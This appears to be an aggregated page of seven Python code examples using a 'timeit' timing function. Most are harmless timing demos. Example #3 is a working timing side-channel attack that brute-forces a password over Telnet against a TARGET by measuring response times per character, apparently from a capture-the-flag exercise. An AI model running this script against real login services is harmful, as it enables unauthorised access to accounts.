Example #1
0
# run.py

print(f'loading run.py: __name__ = {__name__}')

# import module1

import timing

code = '[x**2 for x in range(1_0000)]'

result = timing.timeit(code, 100)
print(result)
Example #2
0

#print(f'Loading run.py:__name__ = {__name__}')

#import module1
from timing import timeit

code = '[x**2 for x in range(1_000)]'

result = timeit(code, 100)
print(result)
Example #3
0
tn = Telnet(*TARGET)
print(tn.read_until(b'in\n').decode())

#print(tn.read_until(b':').decode())

s = tn.get_socket()


def callback(pwd):
    s.send(pwd)
    data = s.recv(512)
    if b'succ' in data:
        raise Exception(pwd)

pwd = ''
s = tn.get_socket()
while True:
    timings = []
    for i, c in enumerate(string.ascii_letters + string.digits):
        sys.stderr.write("\r{}".format(c))
        pwd2 = pwd + c
        sec = timeit(callback, pwd2.encode())
        timings.append((pwd2, sec))

    print()
    timings.sort(key=lambda x: x[1])
    pprint(timings[0][0])
    pwd = timings[0][0]

Example #4
0
print(f'Loading run.py:__name__ = {__name__}')
import module1
import timing

if __name__ == '__main__':
    print('Running run.py...')
    result = timing.timeit('a=1')
    print(result)

# Loading run.py:__name__ = __main__
# Loading Moduel1:__name__ = module1
# Running run.py...
# Timing(repeats=10, elapsed=6.900000000004125e-06, average=6.900000000004125e-07)
Example #5
0
File: run.py Project: Hopw06/Python
print('loading run.py: __name__ = {0}'.format(__name__))
import module1
import timing

if __name__ == '__main__':
    print('running run.py...')
    result = timing.timeit("print('hello')")
    print(result)
Example #6
0
# run.py

import timing

code = '[x ** 0.1 for x in range(1000)]'

result_tuple = timing.timeit(code, 10)
print(result_tuple)

result_tuple2 = timing.timeit(code, 5)
print(result_tuple2)
Example #7
0
## run.py
print('------------ run says hi --------------------\n')
import timing
code = "[x**2 for x in range(1_000)]"
results = timing.timeit(code, repeats=100)
print(results)